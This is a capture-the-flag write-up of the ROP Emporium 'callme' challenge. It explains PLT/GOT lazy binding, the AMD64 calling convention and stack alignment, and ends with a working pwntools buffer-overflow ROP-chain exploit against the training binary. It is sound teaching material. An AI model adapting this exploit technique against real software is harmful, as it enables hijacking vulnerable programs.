ROP Emporium - callme
After familiarising ourselves with a simple buffer overflow in ret2win to overwrite the return address first, and then searching and using our first real gadget in split we will now focus on the Procedure Linkage Table (PLT). While here the functions that need to be called will all be using three arguments, thus exposing a little bit more of the amd64 calling convention.
Exploring the binary⌗
It should be a familiar routine by now to check the binary for any compiled-in security measures, followed by looking for strings and functions. For this assignment we’re given two files, callme
and libcalme.so
where the latter is required by the former.
jasper@ropper:~/ropemporium/callme$ checksec callme
[*] '/home/jasper/ropemporium/callme/callme'
Arch: amd64-64-little
RELRO: Partial RELRO
Stack: No canary found
NX: NX enabled
PIE: No PIE (0x400000)
RPATH: './'
jasper@ropper:~/ropemporium/callme$ rabin2 -z callme
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x00001b48 0x00401b48 22 23 (.rodata) ascii callme by ROP Emporium
001 0x00001b5f 0x00401b5f 7 8 (.rodata) ascii 64bits\n
002 0x00001b67 0x00401b67 8 9 (.rodata) ascii \nExiting
003 0x00001b70 0x00401b70 33 34 (.rodata) ascii Hope you read the instructions...
jasper@ropper:~/ropemporium/callme$ rabin2 -z libcallme.so
[Strings]
Num Paddr Vaddr Len Size Section Type String
000 0x00000bb2 0x00000bb2 18 19 (.rodata) ascii encrypted_flag.txt
001 0x00000bc8 0x00000bc8 33 34 (.rodata) ascii Failed to open encrypted_flag.txt
002 0x00000bea 0x00000bea 25 26 (.rodata) ascii Could not allocate memory
003 0x00000c04 0x00000c04 20 21 (.rodata) ascii Incorrect parameters
004 0x00000c19 0x00000c19 8 9 (.rodata) ascii key1.dat
005 0x00000c22 0x00000c22 23 24 (.rodata) ascii Failed to open key1.dat
006 0x00000c3a 0x00000c3a 8 9 (.rodata) ascii key2.dat
007 0x00000c43 0x00000c43 23 24 (.rodata) ascii Failed to open key2.dat
jasper@ropper:~/ropemporium/callme$ nm callme | grep ' t '
0000000000401950 t __do_global_dtors_aux
0000000000601df8 t __do_global_dtors_aux_fini_array_entry
0000000000601df0 t __frame_dummy_init_array_entry
0000000000601df8 t __init_array_end
0000000000601df0 t __init_array_start
00000000004018d0 t deregister_tm_clones
0000000000401970 t frame_dummy
0000000000401a05 t pwnme
0000000000401910 t register_tm_clones
0000000000401a57 t usefulFunction
jasper@ropper:~/ropemporium/callme$ nm libcallme.so | grep ' T '
0000000000000ba0 T _fini
0000000000000728 T _init
00000000000008f0 T callme_one
0000000000000aaa T callme_three
00000000000009d4 T callme_two
jasper@ropper:~/ropemporium/callme$ rabin2 -i callme
[Imports]
Num Vaddr Bind Type Name
1 0x00000000 WEAK NOTYPE _ITM_deregisterTMCloneTable
2 0x004017f0 GLOBAL FUNC puts
3 0x00401800 GLOBAL FUNC printf
4 0x00401810 GLOBAL FUNC callme_three
5 0x00401820 GLOBAL FUNC memset
6 0x00401830 GLOBAL FUNC __libc_start_main
7 0x00401840 GLOBAL FUNC fgets
8 0x00401850 GLOBAL FUNC callme_one
9 0x00000000 WEAK NOTYPE __gmon_start__
10 0x00401860 GLOBAL FUNC setvbuf
11 0x00401870 GLOBAL FUNC callme_two
12 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
13 0x00401880 GLOBAL FUNC exit
14 0x00000000 WEAK NOTYPE _ITM_registerTMCloneTable
1 0x00000000 WEAK NOTYPE _ITM_deregisterTMCloneTable
9 0x00000000 WEAK NOTYPE __gmon_start__
12 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
14 0x00000000 WEAK NOTYPE _ITM_registerTMCloneTable
jasper@ropper:~/ropemporium/callme$ rabin2 -i libcallme.so
[Imports]
Num Vaddr Bind Type Name
2 0x00000000 WEAK NOTYPE _ITM_deregisterTMCloneTable
3 0x00000760 GLOBAL FUNC puts
4 0x00000770 GLOBAL FUNC fclose
5 0x00000780 GLOBAL FUNC printf
6 0x00000790 GLOBAL FUNC fgetc
7 0x000007a0 GLOBAL FUNC fgets
8 0x00000000 WEAK NOTYPE __gmon_start__
9 0x000007b0 GLOBAL FUNC malloc
10 0x000007c0 GLOBAL FUNC fopen
11 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
12 0x000007d0 GLOBAL FUNC exit
13 0x00000000 WEAK NOTYPE _ITM_registerTMCloneTable
14 0x00000000 WEAK FUNC __cxa_finalize
2 0x00000000 WEAK NOTYPE _ITM_deregisterTMCloneTable
8 0x00000000 WEAK NOTYPE __gmon_start__
11 0x00000000 WEAK NOTYPE _Jv_RegisterClasses
13 0x00000000 WEAK NOTYPE _ITM_registerTMCloneTable
14 0x00000000 WEAK FUNC __cxa_finalize
jasper@ropper:~/ropemporium/callme$ rabin2 -R callme
[Relocations]
vaddr=0x00601ff8 paddr=0x00001ff8 type=SET_64 __gmon_start__
vaddr=0x00602080 paddr=0x00602080 type=SET_64
vaddr=0x00602090 paddr=0x00602090 type=SET_64
vaddr=0x006020a0 paddr=0x006020a0 type=SET_64
vaddr=0x00602018 paddr=0x00002018 type=SET_64 puts
vaddr=0x00602020 paddr=0x00002020 type=SET_64 printf
vaddr=0x00602028 paddr=0x00002028 type=SET_64 callme_three
vaddr=0x00602030 paddr=0x00002030 type=SET_64 memset
vaddr=0x00602038 paddr=0x00002038 type=SET_64 __libc_start_main
vaddr=0x00602040 paddr=0x00002040 type=SET_64 fgets
vaddr=0x00602048 paddr=0x00002048 type=SET_64 callme_one
vaddr=0x00602050 paddr=0x00002050 type=SET_64 setvbuf
vaddr=0x00602058 paddr=0x00002058 type=SET_64 callme_two
vaddr=0x00602060 paddr=0x00002060 type=SET_64 exit
14 relocations
According to the instructions page we need to call the functions callme_one()
, callme_two()
, callme_three()
in that specific order, with the arguments 1, 2, 3
.
We can already determine the exploit should take the form of overflowing the buffer (with 40 bytes) and send the ROP chain equivalent of:
mov rdi, 1
mov rsi, 2
mov rdx, 3
call callme_one
mov rdi, 1
mov rsi, 2
mov rdx, 3
call callme_two
mov rdi, 1
mov rsi, 2
mov rdx, 3
call callme_three
A note on the AMD64 ABI⌗
Let’s take a step back for a minute to look at the register usage here. As I wrote before, this assignment requires a little bit more knowledge of the amd64 calling convention. Or more specifically, the System V AMD64 ABI’s calling convention. This states that the first six argument for a function are to be provided the following registers:
- RDI
- RSI
- RDX
- RCX
- R8
- R9
Furthermore it’s worth mentioning the concepts of callee saved versus caller saved registers. A callee saved register is a register that the callee must take care of restoring to the original value before the callee was called. This is essentially a contract between the caller and the callee that the caller can expect to find the contents of these registers unchanged when the callee returns. On amd64 the RBX, RBP and R12 - R15 are callee saved. The remaining registers are caller saved.
Even in smaller binaries (outside of the scope of ROP Emporium where most binaries have a special usefulFunction()
which contains useful gadgets) it’s fairly common to find gadgets that will allow control over RDI and RSI, it’s harder in those situations to get control over the remaining registers as we’ll see in fluff
and ret2csu
, due to the lack of gadgets that allow modifications of RDX.
Lazy binding⌗
Looking at gdb-peda output while single stepping through callme
we hit upon this call
instruction:
0x4019b3 <main+29>: call 0x401860 <setvbuf@plt>
Also note the relocation of this symbol has:
0000000000602050 R_X86_64_JUMP_SLOT setvbuf@GLIBC_2.2.5
so printing this addres we can see it resolves to the PLT entry:
gdb-peda$ p/x *0x602050
$6 = 0x401866
Let’s take a closer look at the PLT stub for setvbuf
:
0000000000401860 <setvbuf@plt>:
401860: ff 25 ea 07 20 00 jmpq *0x2007ea(%rip) # 602050 <setvbuf@GLIBC_2.2.5>
401866: 68 07 00 00 00 pushq $0x7
40186b: e9 70 ff ff ff jmpq 4017e0 <.plt>
Also note that our regular call jumps to 0x401860 and then using RIP-relative addressing jumps to 0x0x60204a (0x401860 + 0x2007ea) which lies in another section.
From the output of iS
: we can determine that 0x60204a
is in the GOT PLT memory range:
[0x0060204a]> iS
[Sections]
Nm Paddr Size Vaddr Memsz Perms Name
00 0x00000000 0 0x00000000 0 ----
01 0x00001238 28 0x00401238 28 -r-- .interp
02 0x00001254 32 0x00401254 32 -r-- .note.ABI_tag
03 0x00001274 36 0x00401274 36 -r-- .note.gnu.build_id
04 0x00001298 68 0x00401298 68 -r-- .gnu.hash
05 0x000012e0 552 0x004012e0 552 -r-- .dynsym
06 0x00001508 275 0x00401508 275 -r-- .dynstr
07 0x0000161c 46 0x0040161c 46 -r-- .gnu.version
08 0x00001650 32 0x00401650 32 -r-- .gnu.version_r
09 0x00001670 96 0x00401670 96 -r-- .rela.dyn
10 0x000016d0 240 0x004016d0 240 -r-- .rela.plt
11 0x000017c0 26 0x004017c0 26 -r-x .init
12 0x000017e0 176 0x004017e0 176 -r-x .plt
13 0x00001890 8 0x00401890 8 -r-x .plt.got
14 0x000018a0 658 0x004018a0 658 -r-x .text
15 0x00001b34 9 0x00401b34 9 -r-x .fini
16 0x00001b40 85 0x00401b40 85 -r-- .rodata
17 0x00001b98 68 0x00401b98 68 -r-- .eh_frame_hdr
18 0x00001be0 308 0x00401be0 308 -r-- .eh_frame
19 0x00001df0 8 0x00601df0 8 -rw- .init_array
20 0x00001df8 8 0x00601df8 8 -rw- .fini_array
21 0x00001e00 8 0x00601e00 8 -rw- .jcr
22 0x00001e08 496 0x00601e08 496 -rw- .dynamic
23 0x00001ff8 8 0x00601ff8 8 -rw- .got
24 0x00002000 104 0x00602000 104 -rw- .got.plt
25 0x00002068 16 0x00602068 16 -rw- .data
26 0x00002078 0 0x00602080 48 -rw- .bss
27 0x00002078 52 0x00000000 52 ---- .comment
28 0x00002b63 268 0x00000000 268 ---- .shstrtab
29 0x000020b0 1968 0x00000000 1968 ---- .symtab
30 0x00002860 771 0x00000000 771 ---- .strtab
[0x0060204a]>
Using radare2 we seek to the .got.plt
section and disassemble it:
[0x004017e0]> s section..got.plt
[0x00602000]> pd
;-- section..got.plt:
;-- _GLOBAL_OFFSET_TABLE_:
...
;-- reloc.setvbuf:
; CODE XREF from sym.imp.setvbuf (0x401860)
0x00602050 .qword 0x0000000000401866 ; RELOC 64 setvbuf
The first time a function is called (and not yet resolved) this will jump back into the PLT but past the initial jmpq
. It pushes the .got.plt
offset (0x7 for setvbuf()
) to the stack and jumps
to the head of the .plt
at 0x4017e0
. From here it will jump to the runtime linker which patches the GOT entry with the actual function address and execute said function.
For functions it patches the .got.plt
for other symbols it will patch the .got
instead.
Future calls or references will go from the GOT straight to the actual function
On Linux/GLIBC the _dl_runtime_resolve_avx()
function is responsible for resolving.
This proces is called lazy binding. As the .got.plt is writable it is a data section to prevent the runtime linker
from having to modify the text .plt
section.
To get the addresses of the callme functions inside the callme binary’s PLT:
0000000000401810 <callme_three@plt>:
401810: ff 25 12 08 20 00 jmpq *0x200812(%rip) # 602028 <callme_three>
0000000000401850 <callme_one@plt>:
401850: ff 25 f2 07 20 00 jmpq *0x2007f2(%rip) # 602048 <callme_one>
0000000000401870 <callme_two@plt>:
401870: ff 25 e2 07 20 00 jmpq *0x2007e2(%rip) # 602058 <callme_two>
In the context of exploitation the PLT provides us with a local reference to a remote function (once it’s been resolved). This is particularly helpful when a function like system()
or execve()
is used which prevents us from having to leak libc addresses in order to find those functions.
Finalizing the exploit⌗
This was all fairly clear, however I got caught off-guard by a stack alignment issue on Ubuntu 19.04, though eventually I found the problem and solved the challenge:
jasper@ropper:~/ropemporium/callme$ python callme.py
[*] Loading callme
[+] Starting local process './callme': pid 3332
[+] Receiving all data: Done (32B)
[*] Process './callme' stopped with exit code 0 (pid 3332)
[*] Captured flag: ROPE{a_placeholder_32byte_flag!}
The ROP Emporium Beginners Guide mentions the MOVAPS issue and that was precisely what I ran into.
On Ubuntu 19.04 we need to align the stack otherwise buffered_vfprintf()
will fail on the movaps
instruction which requires a 16-byte aligned stack.
We can force alignment by inserting a nop gadget before we make any further function calls, and this works just fine.
#!/usr/bin/env python
from pwn import *
def exploit():
context(arch='x86_64', os='linux')
context.terminal = ['tmux', 'splitw', '-h']
#context.log_level = 'debug'
log.info('Loading callme')
# Start a new process and wait until we hit the prompt
p = process('./callme')
#p = gdb.debug('./callme')
p.recvuntil('> ')
# Padding to trigger the overflow
padding = 'A' * 40
# callme_one@plt
callme_one = p64(0x401850)
# callme_two@plt
callme_two = p64(0x401870)
# callme_three@plt
callme_three = p64(0x401810)
# AMD64 calling convention requires the arguments to a function to reside in
# %rdi, %rsi, %rdx, %rcx, %r8 and %r9. We'll use the first three only.
# There is one very helpful gadget:
# 0x0000000000401ab0: pop rdi; pop rsi; pop rdx; ret;
popper = p64(0x401ab0)
# 0x00000000004017d9: ret;
nop = p64(0x4017d9)
payload = padding
payload += nop
payload += popper
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += callme_one
payload += popper
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += callme_two
payload += popper
payload += p64(0x1)
payload += p64(0x2)
payload += p64(0x3)
payload += callme_three
f = open('input', 'w')
f.write(payload)
f.close()
p.sendline(payload)
flag = p.recvall()
log.info('Captured flag: {}'.format(flag))
if __name__ == '__main__':
exploit()
Just a quick note on pwntools, instead of that long payload we manually created it could also have been written as:
rop = ROP('./callme')
rop.call('callme_one', [1, 2,3])
rop.call('callme_two', [1, 2, 3])
rop.call('callme_three', [1, 2, 3])
log.info(rop.dump()
In that case there’s no need to manually search for gadgets and determine the addresses for the functions to call, pwntools handles that for us.